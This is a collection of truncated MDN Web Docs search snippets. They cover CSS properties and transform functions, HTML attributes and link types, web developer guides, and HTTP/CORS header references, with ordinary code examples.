div > div { height: 100%; width: 1500px; background-color: yellow; background-image: repeating-linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; background-color: rgba(255,0,0,0.5); margin: 0; width: 360px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-inline' in that specification.
overscroll-behavior-x - CSS: Cascading Style Sheets
to avoid this, you can set overscroll-behavior-x: contain on the inner box: main > div { height: 300px; width: 500px; overflow: auto; position: relative; top: 100px; left: 100px; overscroll-behavior-x: contain; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-x' in that specification.
overscroll-behavior-y - CSS: Cascading Style Sheets
specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-y' in that specification.
overscroll-behavior - CSS: Cascading Style Sheets
this can be prevented by setting overscroll-behavior: none on the <body> element: body { margin: 0; overscroll-behavior: none; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior' in that specification.
padding-block-end - CSS: Cascading Style Sheets
ax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-end' in that specification.
padding-block-start - CSS: Cascading Style Sheets
h formal syntax <'padding-left'> examples setting block start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-start' in that specification.
padding-block - CSS: Cascading Style Sheets
ete formal syntax <'padding-left'>{1,2} examples setting block padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-block: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block' in that specification.
padding-inline-end - CSS: Cascading Style Sheets
ypea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-end: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-end' in that specification.
padding-inline-start - CSS: Cascading Style Sheets
length formal syntax <'padding-left'> examples setting inline start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-start: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-start' in that specification.
padding-inline - CSS: Cascading Style Sheets
e formal syntax <'padding-left'>{1,2} examples setting inline padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-inline' in that specification.
paint() - CSS: Cascading Style Sheets
WebCSSpaint
specifications specification status comment css painting api level 1the definition of 'paint notation' in that specification.
perspective - CSS: Cascading Style Sheets
.top { background: rgba(196, 196, 0, 0.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { background-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'perspective' in that specification.
place-content - CSS: Cascading Style Sheets
he live sample */ direction: ltr; /* can be changed in the live sample */ place-content: flex-end center; /* can be changed in the live sample */ } div > div { border: 2px solid #8c8c8c; width: 50px; background-color: #a0c8ff; } .small { font-size: 12px; height: 40px; } .large { font-size: 14px; height: 50px; } result specifications specification status comment css box alignment module level 3the definition of 'place content' in that specification.
place-items - CSS: Cascading Style Sheets
sname = evt.target.value; }); css #container { height:200px; width: 240px; place-items: center; /* you can change this value by selecting another option in the list */ background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } result specifications specification status comment css box alignment module level 3the definition of 'place-items' in that specification.
place-self - CSS: Cascading Style Sheets
px; } span:nth-child(2) { place-self: start center; } span:nth-child(3) { place-self: center start; } span:nth-child(4) { place-self: end; } article span { background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } result specifications specification status comment css box alignment module level 3the definition of 'place-self' in that specification.
repeating-conic-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 4the definition of 'repeating-conic-gradient()' in that specification.
Resolved value - CSS: Cascading Style Sheets
specifications specification status comment css object model (cssom)the definition of 'resolved value' in that specification.
rotate - CSS: Cascading Style Sheets
WebCSSrotate
box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .rotate { transition: rotate 1s; } div:hover .rotate { rotate: 1 -0.5 1 180deg; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
WebCSSrow-gap
ult grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-row-gap: 20px; } #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(3, 1fr); row-gap: 20px; } #grid > div { border: 1px solid green; background-color: lime; } result specifications specification status comment css box alignment module level 3the definition of 'row-gap' in that specification.
ruby-align - CSS: Cascading Style Sheets
ext to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-between; } result extra space distributed between and around ruby elements html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-around; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-align' in that specification.
ruby-position - CSS: Cascading Style Sheets
ioned over the text html <ruby> <rb>超電磁砲</rb> <rp>(</rp><rt>レールガン</rt><rp>)</rp> </ruby> css ruby { ruby-position:over; } result ruby positioned under the text html <ruby> <rb>超電磁砲</rb> <rp>(</rp><rt>レールガン</rt><rp>)</rp> </ruby> css ruby { ruby-position:under; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-position' in that specification.
scale - CSS: Cascading Style Sheets
WebCSSscale
div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .scale { transition: scale 1s; } div:hover .scale { scale: 2 0.7; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
scroll-behavior - CSS: Cascading Style Sheets
uto; text-align: center; } nav { width: 339px; padding: 5px; border: 1px solid black; } scroll-container { display: block; width: 350px; height: 200px; overflow-y: scroll; scroll-behavior: smooth; } scroll-page { display: flex; align-items: center; justify-content: center; height: 100%; font-size: 5em; } result specifications specification status comment css object model (cssom) view modulethe definition of 'scroll-behavior' in that specification.
scrollbar-color - CSS: Cascading Style Sheets
dandelion cucumber earthnut pea peanut soko zucchini.</div> result specifications specification status comment css scrollbars level 1the definition of 'scrollbar-color' in that specification.
scrollbar-width - CSS: Cascading Style Sheets
dandelion cucumber earthnut pea peanut soko zucchini.</div> result specifications specification status comment css scrollbars level 1the definition of 'scrollbar-width' in that specification.
tab-size - CSS: Cascading Style Sheets
WebCSStab-size
html <p>no tab</p> <p>&#0009;default tab size of 8 characters wide</p> <p class="custom">&#0009;custom tab size of 3 characters wide</p> <p>&nbsp;&nbsp;&nbsp;3 spaces, equivalent to the custom tab size</p> css p { white-space: pre; } .custom { tab-size: 3; -moz-tab-size: 3; } result specifications specification status comment css text module level 3the definition of 'tab-size' in that specification.
text-align-last - CSS: Cascading Style Sheets
nullam est eros, suscipit sed dictum quis, accumsan a ligula.</p> css p { font-size: 1.4em; text-align: justify; text-align-last: center; } results specifications specification status comment css text module level 3the definition of 'text-align-last' in that specification.
text-decoration-skip-ink - CSS: Cascading Style Sheets
ink-all">この文は、 text-decoration-skip-ink: all の使用例を示しています。</p> css p { font-size: 1.5em; text-decoration: underline blue; text-decoration-skip-ink: auto; /* this is the default anyway */ } .no-skip-ink { text-decoration-skip-ink: none; } .skip-ink-all{ text-decoration-skip-ink: all; } result specifications specification status comment css text decoration module level 4the definition of 'text-decoration-skip-ink' in that specification.
text-decoration-skip - CSS: Cascading Style Sheets
ed valueas specifiedanimation typediscrete formal syntax none | [ objects | [ spaces | [ leading-spaces | trailing-spaces ] ] | edges | box-decoration ] examples skipping edges html <p>hey, grab a cup of <em>coffee!</em></p> css p { margin: 0; font-size: 3em; text-decoration: underline; text-decoration-skip: edges; } result specifications specification status comment css text decoration module level 4the definition of 'text-decoration-skip' in that specification.
text-decoration-thickness - CSS: Cascading Style Sheets
text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 1px; } .thick { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 5px; } .shorthand { text-decoration: underline solid red 5px; } results specifications specification status comment css text decoration module level 4the definition of 'text-decoration-width' in that specification.
text-justify - CSS: Cascading Style Sheets
as eu elementum dui.</p> p { font-size: 1.5em; border: 1px solid black; padding: 10px; width: 95%; margin: 10px auto; text-align: justify; } .none { text-justify: none; } .auto { text-justify: auto; } .dist { text-justify: distribute; } .word { text-justify: inter-word; } .char { text-justify: inter-character; } specifications specification status comment css text module level 3the definition of 'text-justify' in that specification.
text-size-adjust - CSS: Cascading Style Sheets
fiedanimation typediscrete formal syntax none | auto | <percentage> examples basic disabling usage as hinted at above, on a properly designed responsive site the text-size-adjust behavior is not needed, so developers can elect to turn it off by specifying a vlaue of none: p { -webkit-text-size-adjust: none; text-size-adjust: none; } specifications specification status comment css mobile text size adjustment module level 1the definition of 'text-size-adjust' in that specification.
transform-box - CSS: Cascading Style Sheets
specifications specification status comment css transforms level 1the definition of 'transform-box' in that specification.
matrix() - CSS: Cascading Style Sheets
present the following functions: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
matrix3d() - CSS: Cascading Style Sheets
by 10% */ transform: matrix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, -50,-100,0,1.1 ); } 50% { transform: matrix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,0.9 ); } to { transform: matrix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, 50,100,0,1.1 ) } } result specifications specification status comment css transforms level 2the definition of 'matrix3d()' in that specification.
perspective() - CSS: Cascading Style Sheets
ser { transform: perspective(4cm) rotatex(-15deg) rotatey(30deg); } .top { background-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left { background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front { background-color: limegreen; transform: translate3d(0, 0, 50px); } result specifications specification status comment css transforms level 2the definition of 'perspective()' in that specification.
rotate() - CSS: Cascading Style Sheets
eight: 100px; background-color: lightgray; } .rotate { background-color: transparent; outline: 2px dashed; transform: rotate(45deg); } .rotate-translate { background-color: pink; transform: rotate(45deg) translatex(180px); } .translate-rotate { background-color: gold; transform: translatex(180px) rotate(45deg); } result specifications specification status comment css transforms level 1the definition of 'rotate()' in that specification.
scale3d() - CSS: Cascading Style Sheets
pink; } result translating the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px); transform-origin: left; background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'scale3d()' in that specification.
skew() - CSS: Cascading Style Sheets
blue; } .skewed { transform: skew(10deg); /* equal to skewx(10deg) */ background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg, 10deg); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skew()' in that specification.
skewX() - CSS: Cascading Style Sheets
tan(a)0010001 1tan(a)0010001 1tan(a)00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewx()' in that specification.
skewY() - CSS: Cascading Style Sheets
10tan(a)1 100tan(a)10001 100tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewy(40deg); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewy()' in that specification.
translate() - CSS: Cascading Style Sheets
(10px) or translate(10px, 0) */ background-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translate(10px, 10px); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translate()' in that specification.
translate3d() - CSS: Cascading Style Sheets
0px); background-color: pink; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: perspective(500px) translate3d(10px, 0, 100px); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'translate3d()' in that specification.
translateX() - CSS: Cascading Style Sheets
[1 0 0 1 t 0] formal syntax translatex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatex()' in that specification.
translateY() - CSS: Cascading Style Sheets
001 1000010t00100001 [1 0 0 1 0 t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatey(10px); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatey()' in that specification.
translateZ() - CSS: Cascading Style Sheets
result specifications specification status comment css transforms level 2the definition of 'transform' in that specification.
transform-origin - CSS: Cascading Style Sheets
(50deg); transform-origin: 100% -30%; <div class="box10">&nbsp;</div> .box10 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: skewy(50deg); -webkit-transform: skewy(50deg); transform-origin: 100% -30%; -webkit-transform-origin: 100% -30%; } specifications specification status comment css transforms level 1the definition of 'transform-origin' in that specification.
transform-style - CSS: Cascading Style Sheets
rotatex(-90deg) translatez(50px); } javascript const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transformstyle = 'preserve-3d'; } else { cube.style.transformstyle = 'flat'; } }) result specifications specification status comment css transforms level 2the definition of 'transform-style' in that specification.
transition-duration - CSS: Cascading Style Sheets
ation:4s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); specifications specification status comment css transitionsthe definition of 'transition-duration' in that specification.
transition-property - CSS: Cascading Style Sheets
specifications specification status comment css transitionsthe definition of 'transition-property' in that specification.
transition-timing-function - CSS: Cascading Style Sheets
ion: steps(5, jump-start); } .jump-end { transition-timing-function: steps(5, jump-end); } .jump-none { transition-timing-function: steps(5, jump-none); } .jump-both { transition-timing-function: steps(5, jump-both); } .step-start { transition-timing-function: step-start; } .step-end { transition-timing-function: step-end; } specifications specification status comment css transitionsthe definition of 'transition-timing-function' in that specification.
translate - CSS: Cascading Style Sheets
WebCSStranslate
sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .translate { transition: translate 1s; } div:hover .translate { translate: 200px 50px; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
user-select - CSS: Cascading Style Sheets
>hey, you can't select this text!</p> <p class="all">clicking once will select all of this text.</p> css .unselectable { -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .all { -moz-user-select: all; -webkit-user-select: all; -ms-user-select: all; user-select: all; } result specifications specification status comment css basic user interface module level 4the definition of 'user-select' in that specification.
word-break - CSS: Cascading Style Sheets
言葉は本当に長い言葉</p> css .narrow { padding: 10px; border: 1px solid; width: 500px; margin: 0 auto; font-size: 20px; line-height: 1.5; letter-spacing: 1px; } .normal { word-break: normal; } .breakall { word-break: break-all; } .keepall { word-break: keep-all; } .breakword { word-break: break-word; } specifications specification status comment css text module level 3the definition of 'word-break' in that specification.
Demos of open web technologies
s 3d on 2d canvas minipaint: image editor (source code) zen photon garden (source code) multi touch in canvas demo (source code) svg bubblemenu (visual effects and interaction) html transformations using foreignobject (visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg (or use the local download) summer html image map creator (source code) video video 3d animation "mozilla constantly evolving" video 3d animation "floating dance" streaming anime, movie trailer and interview billy's browser firefox flick virtual barber shop transformers movie trailer a scanner darkly movie trailer (with built in controls) events firing and volume control dragable and sizable videos 3d graphics we...
Sets (set) - EXSLT
WebEXSLTset
in other words, it returns a node-set whose nodes are in one node-set but not in the other.set:distinct()set:distinct() returns a subset of the nodes in the specified node-set, returning only nodes with unique string values.set:has-same-node()set:has-same-node() determines whether two node-sets have any nodes in common.set:intersection()set:intersection() returns the intersection of two node-sets.
Index - Event reference
WebEventsIndex
found 2 pages: # page tags and summary 1 event reference event, overview, reference dom events are sent to notify code of interesting things that have taken place.
touchstart - Event reference
element: touchstart document: touchstart bubbles yes cancelable yes interface touchevent event handler property ontouchstart specifications specification status touch events recommendation ...
Ajax - Developer guides
WebGuideAJAX
xml the extensible markup language (xml) is a w3c-recommended general-purpose markup language for creating special-purpose markup languages.
Guide to Web APIs - Developer guides
WebGuideAPI
nbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage acc...
Cross-browser audio basics - Developer guides
</audio> note: this value is often ignored on mobile platforms, and its use is not recommended unless really necessary.
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers.
Web Audio playbackRate explained - Developer guides
for most applications, it's recommended that you limit the range to between 0.5 and 4.
Media buffering, seeking, and time ranges - Developer guides
byte range requests allow parts of the media file to be delivered from the server and so can be ready to play almost immediately — thus they are seekable.
Audio and video manipulation - Developer guides
common audio filters these are some of the common types of audio filter you can apply: low pass: allows frequencies below the cutoff frequency to pass through and attenuates frequencies above the cutoff.
Graphics on the Web - Developer guides
webrtc the rtc in webrtc stands for real-time communications, a technology that enables audio/video streaming and data sharing between browser clients (peers).
XHTML - Developer guides
WebGuideHTMLXHTML
the problems are described in more details in the following articles: beware of xhtml by david hammond sending xhtml as text/html considered harmful by ian hickson xhtml's dirty little secret by mark pilgrim xhtml - what's the point?
A hybrid approach - Developer guides
summary no approach is a one-size-fits-all solution.
Mobile-friendliness - Developer guides
a slimmed-down, linearized page layout with elements sized for a touchscreen would be much more appropriate.
Separate sites for mobile and desktop - Developer guides
every time a new browser comes out, you must adjust your algorithm to accommodate it.
Parsing and serializing XML - Developer guides
in this article, we'll look at the objects provided by the web platform to make the common tasks of serializing and parsing xml easy.
The Web Open Font Format (WOFF) - Developer guides
WebGuideWOFF
specifications specification status comment woff file format 2.0 recommendation new compression algorithm woff file format 1.0 recommendation initial specification.
HTML attribute: capture - HTML: Hypertext Markup Language
recommendation ...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"> specifications specification status comment html living standardthe definition of 'cors settings attributes' in that specification.
HTML attribute: max - HTML: Hypertext Markup Language
WebHTMLAttributesmax
syntax syntax for max values by input type input type syntax example date yyyy-mm-dd <input type="date" max="2019-12-25" step="1"> month yyyy-mm <input type="month" max="2019-12" step="12"> week yyyy-w## <input type="week" max="2019-w23" step=""> time hh:mm <input type="time" max="17:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t23:59"> number <number> <...
HTML attribute: maxlength - HTML: Hypertext Markup Language
recommendation ...
HTML attribute: min - HTML: Hypertext Markup Language
WebHTMLAttributesmin
for 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <input type="number" min="-5.2"> syntax for min values by input type input type example example date yyyy-mm-dd <input type="date" min="2019-12-25" step="1"> month yyyy-mm <input type="month" min="2019-12" step="12"> week yyyy-w## <input type="week" min="2019-w23" step=""> time hh:mm <input type="time" min="09:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t19:30"> number <number> <...
HTML attribute: minlength - HTML: Hypertext Markup Language
recommendation ...
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
the most common use for the icon value is the favicon: <link rel="icon" href="favicon.ico"> if there are multiple <link rel="icon">s, the browser uses their media attribute, type, and sizes attributes to select the most appropriate icon.
HTML attribute: size - HTML: Hypertext Markup Language
WebHTMLAttributessize
recommendation ...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
x360_750k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f webm -dash 1 \ -an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f webm -dash 1 \ -an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm or do it in all in one command.
<big>: The Bigger Text element - HTML: Hypertext Markup Language
WebHTMLElementbig
attributes this element has no other attributes than the global attributes, common to all elements.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcontent
select a comma-separated list of selectors.
<hgroup> - HTML: Hypertext Markup Language
WebHTMLElementhgroup
examples <hgroup id="document-title"> <h1>html</h1> <h2>living standard — last updated 12 august 2016</h2> </hgroup> specifications specification status comment html living standardthe definition of '<hgroup>' in that specification.
<isindex> - HTML: Hypertext Markup Language
WebHTMLElementisindex
summary <isindex> was an obsolete html element that put a text field in a page for querying the document.
theme-color - HTML: Hypertext Markup Language
WebHTMLElementmetanametheme-color
image credit: from icons & browser colors, created and shared by google and used according to terms described in the creative commons 4.0 attribution license.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
examples <meta charset="utf-8"> <!-- redirect page after 3 seconds --> <meta http-equiv="refresh" content="3;url=https://www.mozilla.org"> specifications specification status comment html living standardthe definition of '<meta>' in that specification.
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnextid
html "1.m" - version 1 (second release) in the next published draft of html, <nextid> <nextid> can be individually deselected for display with a simple sgml command.
<plaintext>: The Plain Text element (Deprecated) - HTML: Hypertext Markup Language
attributes this element has no other attributes than the global attributes common to all elements.
autocapitalize - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'autocapitalize' in that specification.
inputmode - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'inputmode' in that specification.
itemid - HTML: Hypertext Markup Language
hamilton itemprop pubdate 1996-01-26 result specifications specification status comment html living standardthe definition of 'itemid' in that specification.
itemprop - HTML: Hypertext Markup Language
hamilton itemprop pubdate 1996-01-26 result specifications specification status comment html microdatathe definition of 'itemprop' in that specification.
itemref - HTML: Hypertext Markup Language
itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span> </p> <p>size: <span itemprop="size">12</span> players</p> </div> structured data (in json-ld format) { "@id": "amanda", "name": "amanda", "band": { "@id": "b", "name": "jazz band", "size": 12 } } result specifications specification status comment html microdatathe definition of 'itemref' in that specification.
itemscope - HTML: Hypertext Markup Language
specifications specification status comment html microdatathe definition of 'itemscope' in that specification.
itemtype - HTML: Hypertext Markup Language
try it on the html shown above specifications specification status comment html microdatathe definition of 'itemtype' in that specification.
part - HTML: Hypertext Markup Language
specifications specification status comment shadow partsthe definition of 'part' in that specification.
slot - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'slot attribute' in that specification.
Link types: dns-prefetch - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'dns-prefetch' in that specification.
Link types: manifest - HTML: Hypertext Markup Language
specifications specification status comment web app manifest working draft ...
Link types: modulepreload - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'modulepreload' in that specification.
Link types: noopener - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'noopener' in that specification.
Link types: noreferrer - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'noreferrer' in that specification.
Link types: preconnect - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'preconnect' in that specification.
Link types: prefetch - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'prefetch' in that specification.
Link types: preload - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'preload' in that specification.
Link types: prerender - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'prerender' in that specification.
Resource URLs - HTTP
note: it is recommended that web and extension developers don’t try to use resource urls anymore.
Basics of HTTP - HTTP
http is an extensible protocol that relies on concepts like resources and uniform resource identifiers (uris), simple message structure, and client-server communication flow.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ - HTTP
if the client user agent finds among the comma-delineated values provided by the header any header name it does not recognize, this error occurs.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’ - HTTP
the header's value is a comma-delineated string of http method names, such as get, post, or head.
Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’ - HTTP
this header specifies a comma-delineated list of the http methods which may be used when using cors to access the url specified in the request; if the request is using any other method, this error occurs.
Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel - HTTP
the value of access-control-allow-headers should be a comma-delineated list of header names, such as "x-custom-information" or any of the standard but non-basic header names (which are always allowed).
CORS errors - HTTP
WebHTTPCORSErrors
in these pages, we'll look into some common cors error messages and how to resolve them.
Feature Policy - HTTP
specifications specification status comment feature policythe definition of 'feature-policy' in that specification.
Accept-Charset - HTTP
this is no longer recommended, and now each content-type may have its own default.
Accept-Patch - HTTP
two common cases lead to this: a server receiving a patch request with an unsupported media type could reply with 415 unsupported media type and an accept-patch header referencing one or more supported media types.
Access-Control-Allow-Credentials - HTTP
examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Access-Control-Allow-Origin - HTTP
access-control-allow-origin: https://developer.mozilla.org vary: origin specifications specification status comment fetchthe definition of 'access-control-allow-origin' in that specification.
Access-Control-Expose-Headers - HTTP
examples to expose a non-cors-safelisted request header, you can specify: access-control-expose-headers: content-length to additionally expose a custom header, like x-kuma-revision, you can specify multiple headers separated by a comma: access-control-expose-headers: content-length, x-kuma-revision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however, this won't wildcard the authorization header, so if you need to expose that, you will need to list it explicitly: access-control-expose-headers: *, authorization specifications specification status comm...
Access-Control-Max-Age - HTTP
examples cache results of a preflight request for 10 minutes: access-control-max-age: 600 specifications specification status comment fetchthe definition of 'access-control-max-age' in that specification.
Access-Control-Request-Method - HTTP
examples access-control-request-method: post specifications specification status comment fetchthe definition of 'access-control-request-method' in that specification.
Allow - HTTP
WebHTTPHeadersAllow
header type entity header forbidden header name no syntax allow: <http-methods> directives <http-methods> the comma-separated list of allowed http request methods.
Authorization - HTTP
a common type is "basic".
Clear-Site-Data - HTTP
// single directive clear-site-data: "cache" // multiple directives (comma separated) clear-site-data: "cache", "cookies" // wild card clear-site-data: "*" directives all directives must comply with the quoted-string grammar.
Connection - HTTP
any comma-separated list of http headers [usually keep-alive only] indicates that the client would like to keep the connection open.
Content-Disposition - HTTP
nt-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7578 returning values from forms: multipart/form-data rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) rfc 2183 communicating presentation information in internet messages: the content-disposition header field ...
CSP: trusted-types - HTTP
specifications specification status comment trusted types draft initial definition.
Cross-Origin-Resource-Policy - HTTP
